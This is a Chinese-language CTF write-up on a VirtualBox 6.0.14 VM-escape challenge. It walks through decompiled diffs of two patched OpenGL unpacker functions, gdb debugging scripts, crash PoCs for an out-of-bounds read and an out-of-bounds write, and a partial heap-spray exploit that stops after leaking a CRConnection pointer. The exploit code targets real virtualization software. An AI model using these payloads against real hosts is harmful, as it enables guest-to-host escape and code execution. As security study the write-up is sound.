Mid Station

VirtualBox Exploitation #3

来自强网杯线下赛的一题VbEscape(VE),真的想不到事隔一年多再为这个系列续上一篇。在强网杯的RealWorld题目遇到之前调过的漏洞,心里却是没底。为了做这道题目,眼睁睁看着三大桌面虚拟化软件在我的ThinkPad上大打出手。当然不是因为主力的Hyper-v虚拟机和主办方提供的vmware虚拟机镜像会打架,临时需要把windows系统升级到新的2004版本才能跑;也不是因为用现场龟速外网花了半天升级完成后发现Hyper-v还是会跟vmware嵌套虚拟化打架,而vmware里面的64位virtualbox一定要嵌套虚拟化才能运行;说到底就是因为太菜了,之前调试复现的时候都在debug版本上面,只是跟着exp照虎画猫过了一遍,也没有彻底弄懂。学艺不精因为偷懒欠下的债,始终都是要还的。

Vulnerabilities

题目环境链接:https://share.weiyun.com/FX5WwUT0 密码a2uamv

附件提供一组ovf格式的vmware虚拟机,一个VBoxSharedCrOpenGL_patch.so 文件,以及virtualbox 6.0.14版本的deb包。在漏洞挖掘方面几乎没有设置难度,只要把deb解压,然后通过和path过后的库文件对比一下就能发现问题,这里使用了diaphora工具,比对发现patch只集中在两个函数,分别是crUnpackExtendShaderSource, 对应函数地址0xf1230, 以及crUnpackExtendGetUniformLocation, 对应函数地址0xf2c10。其实看到这两个函数就基本确定题目是改编自上一篇blog的C3的题目,现在来看看具体做了哪些修改。

0xf2c10 - patched

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
void __fastcall sub_F2C10(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
int *v6; // rbx
_DWORD *v7; // r12
int v8; // er14
_QWORD *v9; // r15
unsigned int v10; // esi
_QWORD *v11; // rbx
__int64 v12; // rax
__int64 v13; // rcx
__int64 v14; // rdx
_QWORD *v15; // r14
_QWORD *v16; // rbx

if ( *(_QWORD *)(a1 + 24) <= 0xBuLL )
{
*(_DWORD *)(a1 + 56) = -41;
}
else
{
v6 = *(int **)(a1 + 16);
v7 = v6 + 3;
v8 = *v6;
v9 = *(_QWORD **)(a1 + 32);
v10 = v6[2];
v11 = (_QWORD *)((char *)v6 + (unsigned int)(*v6 - 16));
if ( !v9 )
crWarning((__int64)"Assertion failed: %s=%d, file %s, line %d");
if ( !v11 )
crWarning((__int64)"Assertion failed: %s=%d, file %s, line %d");
*v9 = *v11;
v12 = (unsigned int)(v8 - 8);
v13 = v12 + 8;
v14 = v12;
v15 = *(_QWORD **)(a1 + 40);
v16 = (_QWORD *)(*(_QWORD *)(a1 + 16) + v12);
if ( !v15 )
crWarning((__int64)"Assertion failed: %s=%d, file %s, line %d");
if ( !v16 )
crWarning((__int64)"Assertion failed: %s=%d, file %s, line %d");
*v15 = *v16;
(*(void (__fastcall **)(_QWORD, _DWORD *, __int64, __int64, __int64, __int64))(*(_QWORD *)(a1 + 48) + 2048LL))(
v10,
v7,
v14,
v13,
a5,
a6);
}
}

0xf2c10 - origin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
void __fastcall sub_F2C10(__int64 a1)
{
unsigned __int64 v2; // r15
unsigned int *v3; // rbx
_DWORD *v4; // r12
unsigned int v5; // er14
_BYTE *v6; // rax
unsigned int v7; // edx
int v8; // ecx
int v9; // er8
int v10; // er9
signed __int64 v11; // rax
__int64 v12; // rax
const char *v13; // rdi
unsigned int v14; // ecx
__int64 v15; // rdx
_QWORD *v16; // r15
unsigned int v17; // esi
_QWORD *v18; // rbx
__int64 v19; // rax
_QWORD *v20; // r14
_QWORD *v21; // rbx

v2 = *(_QWORD *)(a1 + 24);
if ( v2 <= 0xB )
goto LABEL_19;
v3 = *(unsigned int **)(a1 + 16);
v4 = v3 + 3;
v5 = *v3;
v6 = memchr(v3 + 3, 0, v2 - 12);
if ( !v6 )
{
*(_DWORD *)(a1 + 56) = -41;
LABEL_21:
crError((unsigned int)"crUnpackExtendGetUniformLocation: packet_length is corrupt", 0, v7, v8, v9, v10);
return;
}
v11 = v6 - (_BYTE *)v3;
if ( v11 == -2 )
goto LABEL_21;
v7 = v5;
if ( v5 != v11 + 17 )
goto LABEL_21;
if ( v2 < v5 )
{
LABEL_19:
*(_DWORD *)(a1 + 56) = -41;
return;
}
v12 = v5 - 16;
v13 = "%s: SET_RETURN_PTR(%u) offset out of bounds\n";
v14 = v12 + 8;
LODWORD(v15) = v5 - 16;
if ( v2 < v12 + 8 )
{
LABEL_13:
crError((_DWORD)v13, (unsigned int)"crUnpackExtendGetUniformLocation", v15, v14, v9, v10);
return;
}
v16 = *(_QWORD **)(a1 + 32);
v17 = v3[2];
v18 = (_QWORD *)((char *)v3 + v12);
if ( !v16 )
crWarning(
(unsigned int)"Assertion failed: %s=%d, file %s, line %d",
(unsigned int)"dst || 0==bytes",
0,
(unsigned int)"/home/vbox/vbox-6.0.14/src/VBox/GuestHost/OpenGL/include/cr_mem.h",
23,
v10);
if ( !v18 )
crWarning(
(unsigned int)"Assertion failed: %s=%d, file %s, line %d",
(unsigned int)"src || 0==bytes",
0,
(unsigned int)"/home/vbox/vbox-6.0.14/src/VBox/GuestHost/OpenGL/include/cr_mem.h",
24,
v10);
*v16 = *v18;
v19 = v5 - 8;
v14 = v5;
v15 = v19;
if ( (unsigned __int64)(v19 + 8) > *(_QWORD *)(a1 + 24) )
{
v13 = "%s: SET_WRITEBACK_PTR(%u) offset out of bounds\n";
goto LABEL_13;
}
v20 = *(_QWORD **)(a1 + 40);
v21 = (_QWORD *)(*(_QWORD *)(a1 + 16) + v19);
if ( !v20 )
crWarning(
(unsigned int)"Assertion failed: %s=%d, file %s, line %d",
(unsigned int)"dst || 0==bytes",
0,
(unsigned int)"/home/vbox/vbox-6.0.14/src/VBox/GuestHost/OpenGL/include/cr_mem.h",
23,
v10);
if ( !v21 )
crWarning(
(unsigned int)"Assertion failed: %s=%d, file %s, line %d",
(unsigned int)"src || 0==bytes",
0,
(unsigned int)"/home/vbox/vbox-6.0.14/src/VBox/GuestHost/OpenGL/include/cr_mem.h",
24,
v10);
*v20 = *v21;
(*(void (__fastcall **)(_QWORD, _DWORD *, __int64))(*(_QWORD *)(a1 + 48) + 2048LL))(v17, v4, v15);
}

即使是单从字符串的差异也能看出,这个函数去掉了大段的越界检查,因此可以利用该函数来做越界读的操作。

0xf1230 - patched

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
void __fastcall sub_F1230(unpacker_state *a1, __int64 a2, unsigned __int64 pos, __int64 a4, __int64 a5, int a6)
{
unsigned __int64 v7; // rcx
struc_2 *v8; // r12
const char *v9; // rdi
int count; // er13
unsigned int v11; // er8
unsigned int v12; // esi
signed int pos_1; // er15
char *v15; // rsi
struc_2 *v16; // rdi
signed int v17; // eax
unsigned int v18; // er14
__int64 v19; // rax
__int64 v20; // r9
_QWORD *v21; // rdi
__int64 v22; // r10
int v23; // edx
__int64 v24; // r9
__int64 v25; // rdx
__int64 v26; // r9
_BYTE *v27; // rcx
__int64 v28; // [rsp+18h] [rbp-38h]

v7 = a1->cbunpackdataleft;
if ( v7 > 0x13 )
{
v8 = (struc_2 *)a1->pbunpackdata;
v9 = "crUnpackExtendShaderSource: count %u is out of range";
count = v8->count;
v11 = count - 1;
v12 = count;
if ( (unsigned int)(count - 1) > 0x3FFFFFD )
goto LABEL_29;
pos = 4LL * count + 20;
if ( v7 >= pos )
{
pos = (unsigned int)(4 * count + 20);
v12 = 4 * count + 20;
pos_1 = v12;
if ( v7 >= pos )
{
LODWORD(pos) = v8->hasNonLocalLen;
v15 = 0LL;
if ( (int)pos > 0 )
{
v15 = (char *)v8 + pos;
pos_1 = pos + 4 * count;
}
a6 = pos_1;
if ( v7 >= pos_1 )
{
v16 = (struc_2 *)&v8->pLocalLength;
v17 = pos_1;
do
{
LODWORD(pos) = v16->field_0;
if ( (int)pos <= 0 && (v16->field_0 & 0x233) != 0x233 // [!!PATCHED!!]
|| (__int64)v7 < v17
|| (v17 += pos, LODWORD(pos) = v17, (__int64)v7 < v17) )
{
v12 = v17;
v9 = "crUnpackExtendShaderSource: pos %d is out of range";
goto LABEL_29;
}
v16 = (struc_2 *)((char *)v16 + 4);
}
while ( v16 != (struc_2 *)((char *)&v8[1] + 4 * v11) );
v18 = v8->field_8;
v19 = crAlloc((unsigned int)(8 * count));
if ( !v19 )
return;
v20 = pos_1;
v21 = (_QWORD *)v19;
v22 = 0LL;
while ( a1->cbunpackdataleft >= v20 )
{
*v21 = a1->pbunpackdata + v20;
v23 = *(&v8->pLocalLength + v22);
pos_1 += v23;
if ( !v15 )
*(&v8->pLocalLength + v22) = --v23;
if ( count - 1 == (_DWORD)v22 )
--v23;
if ( v23 > 0 )
{
v24 = (unsigned int)(v23 - 1);
v25 = 0LL;
v26 = v24 + 1;
do
{
v27 = (_BYTE *)(v25 + *v21);
if ( !*v27 )
*v27 = 10;
++v25;
}
while ( v26 != v25 );
}
++v22;
++v21;
if ( count <= (int)v22 )
{
v28 = v19;
(*(void (__fastcall **)(_QWORD, __int64, __int64, _QWORD))(a1->pdispatchtbl + 3944))(v18, 1LL, v19, 0LL);
j_crFree(v28);
return;
}
v20 = pos_1;
}
goto LABEL_31;
}
v12 = pos_1;
}
v9 = "crUnpackExtendShaderSource: pos %d is out of range";
LABEL_29:
crError((_DWORD)v9, v12, pos, v7, v11, a6);
return;
}
}
LABEL_31:
a1->rcunpack = -41;
}

0xf1230 - origin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
void __fastcall sub_F1230(__int64 a1, __int64 a2, unsigned __int64 a3, __int64 a4, __int64 a5, int a6)
{
unsigned __int64 v7; // rcx
_DWORD *v8; // r12
const char *v9; // rdi
int v10; // er13
int v11; // er8
int v12; // esi
unsigned __int64 v13; // rax
int v14; // er15 MAPDST
char *v15; // rsi
_DWORD *v16; // rdi
unsigned int v18; // er14
__int64 v19; // rax
unsigned __int64 v20; // r9
_QWORD *v21; // rdi
__int64 v22; // r10
int v23; // edx
__int64 v24; // r9
__int64 v25; // rdx
__int64 v26; // r9
_BYTE *v27; // rcx
__int64 v28; // [rsp+18h] [rbp-38h]

v7 = *(_QWORD *)(a1 + 24);
if ( v7 > 0x13 )
{
v8 = *(_DWORD **)(a1 + 16);
v9 = "crUnpackExtendShaderSource: count %u is out of range";
v10 = v8[3];
v11 = v10 - 1;
v12 = v10;
if ( (unsigned int)(v10 - 1) > 0x3FFFFFD )
goto LABEL_30;
a3 = 4LL * v10 + 20;
if ( v7 >= a3 )
{
v13 = (unsigned int)(4 * v10 + 20);
v12 = 4 * v10 + 20;
v14 = v12;
if ( v7 >= v13 )
{
LODWORD(a3) = v8[4];
v15 = 0LL;
if ( (int)a3 > 0 )
{
v15 = (char *)v8 + v13;
v14 = v13 + 4 * v10;
}
a6 = v14;
if ( v7 >= v14 )
{
v16 = v8 + 5;
do
{
LODWORD(a3) = *v16;
if ( (int)*v16 <= 0 || 0x7FFFFFFF - (int)a3 <= v14 || v7 < v14 || (v14 += a3, LODWORD(a3) = v14, v7 < v14) )
{
v12 = v14;
v9 = "crUnpackExtendShaderSource: pos %d is out of range";
goto LABEL_30;
}
++v16;
}
while ( v16 != &v8[v11 + 6] );
v18 = v8[2];
v19 = crAlloc((unsigned int)(8 * v10));
if ( !v19 )
return;
v20 = v14;
v21 = (_QWORD *)v19;
v22 = 0LL;
while ( *(_QWORD *)(a1 + 24) >= v20 )
{
*v21 = *(_QWORD *)(a1 + 16) + v20;
v23 = v8[v22 + 5];
v14 += v23;
if ( !v15 )
v8[v22 + 5] = --v23;
if ( v10 - 1 == (_DWORD)v22 )
--v23;
if ( v23 > 0 )
{
v24 = (unsigned int)(v23 - 1);
v25 = 0LL;
v26 = v24 + 1;
do
{
v27 = (_BYTE *)(v25 + *v21);
if ( !*v27 )
*v27 = 10;
++v25;
}
while ( v26 != v25 );
}
++v22;
++v21;
if ( v10 <= (int)v22 )
{
v28 = v19;
(*(void (__fastcall **)(_QWORD, __int64, __int64, _QWORD))(*(_QWORD *)(a1 + 48) + 3944LL))(
v18,
1LL,
v19,
0LL);
j_crFree(v28);
return;
}
v20 = v14;
}
goto LABEL_32;
}
v12 = v14;
}
v9 = "crUnpackExtendShaderSource: pos %d is out of range";
LABEL_30:
crError((_DWORD)v9, v12, a3, v7, v11, a6);
return;
}
}
LABEL_32:
*(_DWORD *)(a1 + 56) = -41;
}

这个函数的修改就更加微妙一点,我在patched版本的反编译代码加入了少量符号信息。主要是在patch版本在第58行判断越界的时候把其中(int)*pos <= 0 || 0x7FFFFFFF - (int)a3 <= v14的条件偷换成了(int)pos <= 0 && (v16->field_0 & 0x233) != 0x233 。结合源码的话我们可以更清楚地看到patch所做的修改,相关代码位于VirtualBox-6.0.13/src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.cpp

对比原题,结合Tea Delivers的writeup我们可以得出以下结论:

  1. crUnpackExtendGetUniformLocation 部分越界读的漏洞和原题完全一样,然而wp给出的exp中并没有使用越界读,而是通过未初始化漏洞读取堆上残留的指针,因此这部分需要调试堆布局泄露目标指针。
  2. crUnpackExtendShaderSource 修改了检查size的条件,目测可以通过传入一个0x233结尾的负数绕过检查,达成越界写的效果。
  3. 调试发现关键结构体CRConnection的大小发生变化,原题是0x290,这里是0x238,里面成员变量的偏移也相应需要重新计算。这部分需要结合库文件的代码确定,没办法像上篇一样通过pahole工具很方便地确定。

Debugging

前文提到了Hyper-V和Vmware冲突的情况,为了开启Vmware的嵌套虚拟化,只能暂时禁用掉了日常使用Hyper-V虚拟机。这个问题对比赛影响挺大的,因为常用的脚本工具,AD需要的所有东西都在Hyper-V虚拟机当中,而冲突造成Hyper-V和Vmware两个虚拟机就只能二选一,要打AD就不能同时调试这道RW题目。比赛后段还是切回Hyper-V去AD抢分数了,比赛结束后才把这题做出来。后来的调试方案是通过windows terminal ssh连接到vmware里面,然后结合调试脚本启动gdb attach VirtualBox的虚拟机。

感觉指望微软和Vmware解决这种小众的冲突问题怕是得等上一段时间了,也算是个教训吧,选虚拟机平台的时候还是尽量用Vmware这种业界选手普遍使用的。

为了尽可能虚拟机启动时间,提高调试效率,这里写了一个简单的调试脚本:

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh
echo "[restore snapshot]"
VBoxManage snapshot guest restore S1 # 需要先建立一个名叫S1的快照
echo "[+] start vm"
VBoxManage startvm guest #--type gui
echo "[+] sleep 2 and attach"
tmux split -h "sudo gdb -x 1.gdb attach `pgrep VirtualBoxVM`"
echo "[+] sync exp"
scp -P 2222 -r 3dpwn ve@localhost:~/
echo "[+] ssh"
ssh ve@localhost -p 2222

1.gdb 主要是一些gdb的配置

1
2
3
4
5
6
7
8
# 1.gdb
# gef layout settting
gef config context.layout "-legend regs stack code args -source -threads -trace extra memory"
# load the base of VBoxSharedCrOpenGL.so
source load_base.py
# insert breakpoint
b * $B+0xf2c10
b * $B+0xf2c32

还写了一个自动加载目标库文件基地址的python script,可以自动把库文件基地址保存到$B,感觉这个方法有点挫,如果有直接用原生gdb script就能实现的方法请告诉我。

1
2
3
4
5
6
7
# load_source.py
import gdb
import subprocess
cmd = "cat /proc/`pgrep VirtualBoxVM`/maps | grep Cr | grep xp | awk -F - '{print $1}'"
output = subprocess.check_output(cmd, shell=True).strip(b"\n")
base = int(output, 16)
gdb.execute("set $B=%#x" % base)

poc

在原exp的基础上改了一份poc,执行poc1或者poc2都可以造成Virtualbox虚拟机崩溃的效果。poc1对应的是crUnpackExtendGetUniformLocation 越界读的漏洞,poc2对应的是crUnpackExtendShaderSource越界写换行符的漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python2
import os, sys
from array import array
from struct import pack, unpack

sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *
from hgcm import *

def make_oob_read(offset):
return (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
+ '\0\0\0' + chr(CR_EXTEND_OPCODE)
+ pack("<I", offset)
+ pack("<I", CR_GETUNIFORMLOCATION_EXTEND_OPCODE)
+ pack("<I", 0)
+ 'LEET'
)

def bp():
raw_input("break")

class Pwn(object):

def __init__(self):
self.spray_num = 0x2000
self.spray_size = 0x100

def poc1(self):
msg = make_oob_read(0x300)
leak = crmsg(client1, msg, 0x200)

def poc2(self):
# trigger bug to enlarge a CRVBOXSVCBUFFER_t
msg = (pack("<III", CR_MESSAGE_OPCODES, 0X41414141, 1))
msg += "\x00\x00\x00" + chr(CR_EXTEND_OPCODE)
msg += 'aaaa'
msg += pack("<I", CR_SHADERSOURCE_EXTEND_OPCODE)
msg += pack("<I", 0) #shader
msg += pack("<I", 2) #count
msg += pack("<I", 0) #hasNoLocalLength
msg += pack("<I", 0xfffff233)#pLocalLength
msg += pack("<I", 0x500)#pLocalLength
ret = crmsg(self.client1, msg, self.spray_size)
return ret

def setup(self):
self.client1 = hgcm_connect("VBoxSharedCrOpenGL")
set_version(self.client1)

if __name__ == '__main__':
p = Pwn()
p.setup()
p.poc1()
p.poc2()

第一个漏洞就和之前一样,这里还是解释一下第二个漏洞,贴一下patch之前的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
void crUnpackExtendShaderSource(PCrUnpackerState pState)
{
CHECK_BUFFER_SIZE_STATIC_LAST(pState, 16, GLsizei);

GLint *length = NULL;
GLuint shader = READ_DATA(pState, 8, GLuint);
GLsizei count = READ_DATA(pState, 12, GLsizei);
GLint hasNonLocalLen = READ_DATA(pState, 16, GLsizei);
GLint *pLocalLength = DATA_POINTER(pState, 20, GLint);
char **ppStrings = NULL;
GLsizei i, j, jUpTo;
int pos, pos_check;

if (count <= 0 || count >= INT32_MAX / sizeof(GLint) / 8)
{
crError("crUnpackExtendShaderSource: count %u is out of range", count);
return;
}
CHECK_ARRAY_SIZE_FROM_PTR_UPDATE_LAST(pState, pLocalLength, count, GLint);

/** @todo More verification required here. */
pos = 20 + count * sizeof(*pLocalLength);

if (!DATA_POINTER_CHECK_SIZE(pState, pos))
{
crError("crUnpackExtendShaderSource: pos %d is out of range", pos);
return;
}

if (hasNonLocalLen > 0)
{
length = DATA_POINTER(pState, pos, GLint);
pos += count * sizeof(*length);
}

pos_check = pos;

if (!DATA_POINTER_CHECK_SIZE(pState, pos_check))
{
crError("crUnpackExtendShaderSource: pos %d is out of range", pos);
return;
}

pos_check = pos;

for (i = 0; i < count; ++i)
{
if (pLocalLength[i] <= 0 || pos_check >= INT32_MAX - pLocalLength[i] || !DATA_POINTER_CHECK_SIZE(pState, pos_check))
{
crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
return;
}

pos_check += pLocalLength[i];

if (!DATA_POINTER_CHECK_SIZE(pState, pos_check))
{
crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
return;
}
}

ppStrings = (char **)crAlloc(count * sizeof(char*));
if (!ppStrings) return;

for (i = 0; i < count; ++i)
{
CHECK_BUFFER_SIZE_STATIC_UPDATE(pState, pos); /** @todo Free ppStrings on error. */
ppStrings[i] = DATA_POINTER(pState, pos, char);
pos += pLocalLength[i];
if (!length)
{
pLocalLength[i] -= 1;
}

Assert(pLocalLength[i] > 0);
jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i];
for (j = 0; j < jUpTo; ++j)
{
char *pString = ppStrings[i];

if (pString[j] == '\0')
{
Assert(j == jUpTo - 1);
pString[j] = '\n';
}
}
}

// pState->pDispatchTbl->ShaderSource(shader, count, ppStrings, length ? length : pLocalLength);
pState->pDispatchTbl->ShaderSource(shader, 1, (const char**)ppStrings, 0);

crFree(ppStrings);
}

可以看到这版本的源码在第54行前后都加了越界检查,因此不能使用之前的方法来进行越界。但是patch过后允许我们输入一个负数的pLocalLength比如0xfffff233来绕过检查,这里可以传入两个pLocalLength,第一个为负数0xfffff233,解析负数pLocalLength之后会把pos指针指向buf的前面,通过第二个pLocalLength可以来控制越界写换行符的范围。

exp

剩下就是调试堆布局和指针偏移的问题了,发现难点主要是在第一步泄露CRConnection地址的时候如何确定越界读的偏移,这里给点小tips。
我们可以下断点在0xf2c36的位置,然后查看rbx的值,这时候对应的就是越界读的基地址。
用gef的命令tele $rbx一直往下翻到0x820的位置可以看到类似的结构

1
2
3
4
5
6
7
8
9
0x00007fece46780e8│+0x0828: 0x00000000000009e5
0x00007fece46780f0│+0x0830: 0x0000000000000000
0x00007fece46780f8│+0x0838: 0x00007fece4678ad00x0000000100000000
0x00007fece4678100│+0x0840: 0x0000000000000015
0x00007fece4678108│+0x0848: 0x0000000000000000
0x00007fece4678110│+0x0850: 0x00000000ffffffff
0x00007fece4678118│+0x0858: 0x00007fecebfef2380x0000000000000000
0x00007fece4678120│+0x0860: 0x0000000000000000
0x00007fece4678128│+0x0868: 0x0000000000000000

0x9e5是CRClient结构体的size,第一个指针指向0x0000000100000000,正是CRConnection指针,再下面一个qword 0x15是该client的id。
观察CRConnection指针就能看到CRConnection的字段了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
gef➤  tele  0x00007fece4678ad0
0x00007fece4678ad0│+0x0000: 0x0000000100000000
0x00007fece4678ad8│+0x0008: 0x0000000000000000
0x00007fece4678ae0│+0x0010: 0x0000000000000000
0x00007fece4678ae8│+0x0018: 0x0000000000000000
0x00007fece4678af0│+0x0020: 0x0000000000000000
0x00007fece4678af8│+0x0028: 0x0000000000000000
0x00007fece4678b00│+0x0030: 0x0000000000000000
0x00007fece4678b08│+0x0038: 0x0000000000000001
0x00007fece4678b10│+0x0040: 0x0000000000000000
0x00007fece4678b18│+0x0048: 0x0000000000000000
0x00007fece4678b20│+0x0050: 0x0000000000000000
0x00007fece4678b28│+0x0058: 0x0000000000000000
0x00007fece4678b30│+0x0060: 0x0000000000000000
0x00007fece4678b38│+0x0068: 0x0000000000000000
0x00007fece4678b40│+0x0070: 0x0000000000000000
0x00007fece4678b48│+0x0078: 0x0000000000000000
0x00007fece4678b50│+0x0080: 0x0000000000000000
0x00007fece4678b58│+0x0088: 0x0000000000000000
0x00007fece4678b60│+0x0090: 0x0003e8000003e800
0x00007fece4678b68│+0x0098: 0x0000000000000000
0x00007fece4678b70│+0x00a0: 0x0000000000000000
0x00007fece4678b78│+0x00a8: 0x0000000000000001
0x00007fece4678b80│+0x00b0: 0x0000000000000000
0x00007fece4678b88│+0x00b8: 0x0000000000000000
0x00007fece4678b90│+0x00c0: 0x00007fecebd856a0 → push rbp [void *(*)(CRConnection *) Alloc]
0x00007fece4678b98│+0x00c8: 0x00007fecebd85550 → push rbp
0x00007fece4678ba0│+0x00d0: 0x00007fecebd85c00 → push rbp
0x00007fece4678ba8│+0x00d8: 0x0000000000000000
0x00007fece4678bb0│+0x00e0: 0x00007fecebd85590 → push rbp
0x00007fece4678bb8│+0x00e8: 0x00007fecebd85730 → push rbp
0x00007fece4678bc0│+0x00f0: 0x00007fecebd85af0 → push rbp
0x00007fece4678bc8│+0x00f8: 0x00007fecebd854f0 → push rbp
0x00007fece4678bd0│+0x0100: 0x00007fecebd851b0 → push rbp
0x00007fece4678bd8│+0x0108: 0x00007fecebd85220 → push rbp
0x00007fece4678be0│+0x0110: 0x00007fecebd851e0 → push rbp
0x00007fece4678be8│+0x0118: 0x00007fecebd85260 → mov eax, DWORD PTR [rip+0x2766fa] # 0x7fecebffb960
0x00007fece4678bf0│+0x0120: 0x0000000000000010
0x00007fece4678bf8│+0x0128: 0x0000000000000000
0x00007fece4678c00│+0x0130: 0x0000000000000000
0x00007fece4678c08│+0x0138: 0x0000001300200000
0x00007fece4678c10│+0x0140: 0x0000000000000015
0x00007fece4678c18│+0x0148: 0x0000000000000000
0x00007fece4678c20│+0x0150: 0x0000000000000000
0x00007fece4678c28│+0x0158: 0x00007fece4678d100x0000000000000000 [uint8_t * pHostBuffer]
0x00007fece4678c30│+0x0160: 0x0000000000000800
0x00007fece4678c38│+0x0168: 0x00007fece46780f00x0000000000000000 [_crclient * pClient]
0x00007fece4678c40│+0x0170: 0x0000000000000000
0x00007fece4678c48│+0x0178: 0x0000000000000000
0x00007fece4678c50│+0x0180: 0x0000000000000000
0x00007fece4678c58│+0x0188: 0x0000000000000000
0x00007fece4678c60│+0x0190: 0x0000000000000000
0x00007fece4678c68│+0x0198: 0x00007fece4678c68 → [loop detected]
0x00007fece4678c70│+0x01a0: 0x00007fece4678c680x00007fece4678c68 → [loop detected]
0x00007fece4678c78│+0x01a8: 0x0000000900000001
0x00007fece4678c80│+0x01b0: 0x0000000000000001
0x00007fece4678c88│+0x01b8: 0x0000000000000000
0x00007fece4678c90│+0x01c0: 0x0000000000000000
0x00007fece4678c98│+0x01c8: 0x0000000000000000
0x00007fece4678ca0│+0x01d0: 0x0000000000000000
0x00007fece4678ca8│+0x01d8: 0x0000000000000000

能够正确泄露CRConnectionCRClient的地址以及对应id过后,再确定关键成员变量的偏移,接下来的步骤就和原exp完全一样了。这里给出自己其中一个版本的exp,需要注意是调试发现直接重新启动虚拟机和从快照启动会导致不一样的堆布局,总共调好了两个不同的exp,下面给出的exp是用来打直接启动的。用两台真机测试过都稳定弹计算器,要是现场演示应该也没有问题吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#!/usr/bin/env python2
import os, sys
from array import array
from struct import pack, unpack

sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *
from hgcm import *

def make_oob_read(offset):
return (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
+ '\0\0\0' + chr(CR_EXTEND_OPCODE)
+ pack("<I", offset)
+ pack("<I", CR_GETUNIFORMLOCATION_EXTEND_OPCODE)
+ pack("<I", 0)
+ 'LEET'
)

def bp():
raw_input("break")

class Pwn(object):

def __init__(self):
self.spray_num = 0x2000
self.spray_size = 0x100

def poc1(self):
msg = make_oob_read(0x300)
leak = crmsg(client1, msg, 0x200))

def poc2(self):
# trigger bug to enlarge a CRVBOXSVCBUFFER_t
msg = (pack("<III", CR_MESSAGE_OPCODES, 0X41414141, 1))
msg += "\x00\x00\x00" + chr(CR_EXTEND_OPCODE)
msg += 'aaaa'
msg += pack("<I", CR_SHADERSOURCE_EXTEND_OPCODE)
msg += pack("<I", 0) #shader
msg += pack("<I", 2) #count
msg += pack("<I", 0) #hasNoLocalLength
msg += pack("<I", 0xfffff233)#pLocalLength
msg += pack("<I", 0x500)#pLocalLength
ret = crmsg(self.client1, msg, self.spray_size)
return ret

def setup(self):
self.client1 = hgcm_connect("VBoxSharedCrOpenGL")
set_version(self.client1)
self.fill_holes()
self.leak_stuff()
self.spray_CRVBOXSVCBUFFER()
self.enlarge_victim_size()
self.found_corrupted_buf()
self.write_fake()

def fill_holes(self):
for _ in range(3):
for _ in range(400): alloc_buf(self.client1, 0x238)
for _ in range(400): alloc_buf(self.client1, 0x9d0)
for _ in range(600): alloc_buf(self.client1, 0x30)

def leak_stuff(self):
clients = []
for i in range(0x20):
client = hgcm_connect("VBoxSharedCrOpenGL")
set_version(client)
clients.append(client)
victim1 = clients[0x10]
hgcm_disconnect(victim1)
victim2 = clients[0x11]
hgcm_disconnect(victim2)
bp()
msg = make_oob_read(0x838+0x10)
leak = crmsg(self.client1, msg, 0x238)
self.pConn, = unpack("<Q", leak[16:24])
